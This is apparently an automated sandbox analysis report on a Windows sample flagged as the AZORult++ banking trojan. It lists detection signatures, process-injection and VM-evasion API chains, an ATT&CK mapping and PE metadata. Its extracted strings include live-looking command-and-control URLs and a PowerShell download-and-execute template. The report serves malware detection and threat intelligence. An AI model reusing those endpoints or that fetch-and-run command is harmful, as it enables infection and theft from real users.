Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe
Analysis ID:	1428896
MD5:	6d36580feee622f41b2ab6bfe79a8f5e
SHA1:	93e1cf1bb9ffa2d921d0402e6113ce50e6ed3bd7
SHA256:	3aa50555913747e4d6c5be45de96d771efea5f59251fd25a7746c0defcf12ba8
Tags:	exe
Infos:

Detection

AZORult++

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected AZORult++ Trojan

Multi AV Scanner detection for submitted file

Contain functionality to detect virtual machines

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Found evasive API chain (may stop execution after checking locale)

Found evasive API chain (may stop execution after checking mutex)

Machine Learning detection for sample

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Found potential string decryption / allocating functions

Program does not show much activity (idle)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe (PID: 7592 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe" MD5: 6D36580FEEE622F41B2AB6BFE79A8F5E)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

ReversingLabs: Detection: 52%

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_02B882F6 InitializeCriticalSection,GetVolumeInformationW,StringFromGUID2,wsprintfA,CreateMutexW,GetLastError,WSAStartup,CryptAcquireContextA,CryptAcquireContextA,CoInitializeEx,ExpandEnvironmentStringsW,CreateFileW,	0_2_02B882F6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_02B88310 InitializeCriticalSection,GetVolumeInformationW,StringFromGUID2,wsprintfA,CreateMutexW,GetLastError,WSAStartup,CryptAcquireContextA,CryptAcquireContextA,CoInitializeEx,ExpandEnvironmentStringsW,CreateFileW,ExitProcess,	0_2_02B88310
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_02B88F70 CryptGenRandom,HeapFree,GetProcessHeap,HeapFree,wsprintfA,GetProcessHeap,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,	0_2_02B88F70

Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Code function: 0_2_02B885F0 EnumDisplayDevicesW,EnumDisplayDevicesW,StrStrIW,StrStrIW,StrStrIW,StrStrIW,StrStrIW,EnumDisplayDevicesW,GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,ExpandEnvironmentStringsW,ExpandEnvironmentStringsW,ExpandEnvironmentStringsW,GetFileAttributesW,GetFileAttributesW,GetFileAttributesW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,PathCombineW,GetFileAttributesW,PathCombineW,GetFileAttributesW,StrStrIW,PathCombineW,PathCombineW,PathCombineW,GetFileAttributesW,GetFileAttributesW,GetFileAttributesW,CreateFileW,GetFileSize,GetProcessHeap,HeapAlloc,ReadFile,CloseHandle,CreateFileW,GetFileSize,GetProcessHeap,HeapAlloc,ReadFile,CloseHandle,lstrcmpA,lstrcmpA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,PathCombineW,GetFileAttributesW,CreateFileW,GetFileSize,GetProcessHeap,HeapAlloc,ReadFile,CloseHandle,lstrcmpA,GetProcessHeap,HeapFree,ExpandEnvironmentStringsW,GetFileAttributesW,GetFileAttributesExW,GetComputerNameW,GetUserNameW,lstrcmpW,lstrcmpW,StrStrW,lstrcmpW,lstrcmpW,lstrcmpW,GlobalMemoryStatusEx,lstrcmpW,lstrcmpW,PathCombineW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpW,lstrcmpW,lstrcmpW,lstrcmpW,FindNextFileW,FindClose,StrStrIW,GetModuleFileNameW,StrStrIW,

0_2_02B885F0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Code function: 0_2_02B86670 HeapFree,ObtainUserAgentString,MultiByteToWideChar,MultiByteToWideChar,GetProcessHeap,HeapAlloc,MultiByteToWideChar,InternetOpenW,InternetSetOptionW,InternetConnectW,HttpOpenRequestW,InternetQueryOptionW,InternetSetOptionW,HttpSendRequestW,InternetQueryDataAvailable,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,HeapFree,GetProcessHeap,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

0_2_02B86670

Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	String found in binary or memory: http://79.124.78.45/hockamore.php
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe, 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe, 00000000.00000002.1657716656.000000000100E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.124.78.45/hockamore.php%temp%
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	String found in binary or memory: https://www.clubedasluluzinhasro.com.br/assets/image
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe, 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe, 00000000.00000002.1657716656.000000000100E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.clubedasluluzinhasro.com.br/assets/image/c

E-Banking Fraud

Detected AZORult++ Trojan

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Code function: 0_2_02B88E00 EntryPoint,GetUserDefaultLangID,ExitProcess,

0_2_02B88E00

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_02B85AB0 GetModuleHandleW,GetProcAddress,CreateProcessW,NtQueryInformationProcess,ReadProcessMemory,GetThreadContext,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,ReadProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,CloseHandle,		0_2_02B85AB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_02B85E10 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTempPathW,wnsprintfW,wnsprintfW,PathCombineW,CreateFileW,WriteFile,WriteFile,SetEndOfFile,SetFilePointer,wnsprintfW,RtlInitUnicodeString,RtlInitUnicodeString,RtlInitUnicodeString,GetCurrentProcess,SetFilePointer,WriteFile,FlushFileBuffers,SetEndOfFile,NtQueryInformationProcess,NtClose,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,NtClose,NtClose,NtClose,NtClose,CloseHandle,		0_2_02B85E10

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_008FE87D	0_2_008FE87D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_02B885F0	0_2_02B885F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_02B84220	0_2_02B84220
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_02B84620	0_2_02B84620
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_02B824F0	0_2_02B824F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_02B87830	0_2_02B87830
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_02B87410	0_2_02B87410

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: String function: 008F3040 appears 46 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: String function: 008F4480 appears 33 times

Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal88.bank.evad.winEXE@1/0@0/0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Code function: 0_2_02B861B0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,CloseHandle,AdjustTokenPrivileges,CloseHandle,

0_2_02B861B0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Code function: 0_2_02B86AA0 VariantInit,CoCreateInstance,SysAllocString,SysFreeString,SysFreeString,SysAllocString,SysFreeString,

0_2_02B86AA0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Command line argument: jhl46745fghb

0_2_008F2F40

Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

ReversingLabs: Detection: 52%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Section loaded: sspicli.dll	Jump to behavior

Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Code function: 0_2_008F1300 GetModuleHandleA,VirtualAlloc,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualFree,VirtualProtect,

0_2_008F1300

Malware Analysis System Evasion

Contain functionality to detect virtual machines

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Code function: VMWare %systemroot%\System32\VBoxService.exe %systemroot%\System32\VBoxService.exe %systemroot%\System32\VBoxTray.exe

0_2_02B885F0

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Code function: EnumDisplayDevicesW,EnumDisplayDevicesW,StrStrIW,StrStrIW,StrStrIW,StrStrIW,StrStrIW,EnumDisplayDevicesW,GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,ExpandEnvironmentStringsW,ExpandEnvironmentStringsW,ExpandEnvironmentStringsW,GetFileAttributesW,GetFileAttributesW,GetFileAttributesW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,PathCombineW,GetFileAttributesW,PathCombineW,GetFileAttributesW,StrStrIW,PathCombineW,PathCombineW,PathCombineW,GetFileAttributesW,GetFileAttributesW,GetFileAttributesW,CreateFileW,GetFileSize,GetProcessHeap,HeapAlloc,ReadFile,CloseHandle,CreateFileW,GetFileSize,GetProcessHeap,HeapAlloc,ReadFile,CloseHandle,lstrcmpA,lstrcmpA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,PathCombineW,GetFileAttributesW,CreateFileW,GetFileSize,GetProcessHeap,HeapAlloc,ReadFile,CloseHandle,lstrcmpA,GetProcessHeap,HeapFree,ExpandEnvironmentStringsW,GetFileAttributesW,GetFileAttributesExW,GetComputerNameW,GetUserNameW,lstrcmpW,lstrcmpW,StrStrW,lstrcmpW,lstrcmpW,lstrcmpW,GlobalMemoryStatusEx,lstrcmpW,lstrcmpW,PathCombineW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpW,lstrcmpW,lstrcmpW,lstrcmpW,FindNextFileW,FindClose,StrStrIW,GetModuleFileNameW,StrStrIW,

0_2_02B885F0

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-11683

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_0-11784

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

File opened / queried: C:\Windows\System32\VBoxService.exe

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

0_2_02B885F0

Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe, 00000000.00000002.1657716656.000000000100E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: POST%s\|%s\|qE2PyNqQStart%d\|%sINITWindowsPowerShell\v1.0\powershell.exe -enc %S%ComSpec% /c %Skernel32Wow64DisableWow64FsRedirectionWow64RevertWow64FsRedirectionShellExecuteWshell32openReleaseSeShutdownPrivilege%Shttp://79.124.78.45/hockamore.php%temp%\%paths%%SYSTEMROOT%\Microsoft.NET\Framework\v4.0.30319\csc.exe%SYSTEMROOT%\Microsoft.NET\Framework\v2.0.50727\csc.exesd2.ps1sd4.ps1https://www.clubedasluluzinhasro.com.br/assets/image/c "powershell -command IEX(IWR -UseBasicParsing '%s/%s')"Hyper-VVMWareParallels Display AdapterRed Hat QXL controller%systemroot%\System32\VBoxService.exe%systemroot%\System32\VBoxTray.exe?
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Binary or memory string: Hyper-V
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Binary or memory string: VMWare
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Binary or memory string: %systemroot%\System32\VBoxService.exe
Source: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Binary or memory string: %systemroot%\System32\VBoxTray.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	API call chain: ExitProcess graph end node			graph_0-11787
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	API call chain: ExitProcess graph end node			graph_0-10443

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Code function: 0_2_008F695B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_008F695B

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Code function: 0_2_008F1300 GetModuleHandleA,VirtualAlloc,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualFree,VirtualProtect,

0_2_008F1300

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_008F1710 mov ecx, dword ptr fs:[00000030h]	0_2_008F1710
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_008F75A2 mov eax, dword ptr fs:[00000030h]	0_2_008F75A2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_008F9763 mov eax, dword ptr fs:[00000030h]	0_2_008F9763
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_02B87620 mov eax, dword ptr fs:[00000030h]	0_2_02B87620
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_02B85E10 mov eax, dword ptr fs:[00000030h]	0_2_02B85E10

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Code function: 0_2_008FA845 GetProcessHeap,

0_2_008FA845

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_008F3D4E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_008F3D4E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_008F695B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_008F695B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_008F421C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_008F421C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	Code function: 0_2_008F43AF SetUnhandledExceptionFilter,	0_2_008F43AF

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Code function: 0_2_02B85AB0 GetModuleHandleW,GetProcAddress,CreateProcessW,NtQueryInformationProcess,ReadProcessMemory,GetThreadContext,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,ReadProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,CloseHandle,

0_2_02B85AB0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Code function: 0_2_008F44C5 cpuid

0_2_008F44C5

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Code function: 0_2_008F4103 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_008F4103

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

0_2_02B885F0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Access Token Manipulation	21 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	21 Native API	Boot or Logon Initialization Scripts	1 Process Injection	1 Access Token Manipulation	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	112 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	53%	ReversingLabs	Win32.Trojan.Azorult
SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	100%	Avira	HEUR/AGEN.1317648
SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.clubedasluluzinhasro.com.br/assets/image	SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	false	unknown
http://79.124.78.45/hockamore.php%temp%	SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe, 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe, 00000000.00000002.1657716656.000000000100E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.clubedasluluzinhasro.com.br/assets/image/c	SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe, 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe, 00000000.00000002.1657716656.000000000100E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://79.124.78.45/hockamore.php	SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe	false	unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428896
Start date and time:	2024-04-19 19:29:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe
Detection:	MAL
Classification:	mal88.bank.evad.winEXE@1/0@0/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 5 Number of non-executed functions: 66
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

VT rate limit hit for: SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.893929069389445
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe
File size:	182'272 bytes
MD5:	6d36580feee622f41b2ab6bfe79a8f5e
SHA1:	93e1cf1bb9ffa2d921d0402e6113ce50e6ed3bd7
SHA256:	3aa50555913747e4d6c5be45de96d771efea5f59251fd25a7746c0defcf12ba8
SHA512:	9c140cb14fd933f8f9d84d2331b6efbf99c1550a624e7cb26ab85b678d0f8b320fbad8a64e35a40111e10fa30c26f52439c06db59337b19a4df18f368d38117f
SSDEEP:	3072:TCmlA+2TGMF85+bkRG32foUP9GmPe97UoVmjbhw/KwAHdMZ6nulkS3zeNZ:WmlV4h8JG3QUzon2iwlkszeNZ
TLSH:	FC047D01F6C1C031F1753A328AA6D0E1763EF9307BD95DDB2B5D0C9E0A642C69B279A7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........`J...$R..$R..$R.j'S..$R.j!SE.$R.j S..$RHz S..$RHz'S..$RHz!S..$R.j%S..$R..%R..$REz-S..$REz.R..$R...R..$REz&S..$RRich..$R.......

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x403d44
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x65D59C0C [Wed Feb 21 06:45:32 2024 UTC]
TLS Callbacks:
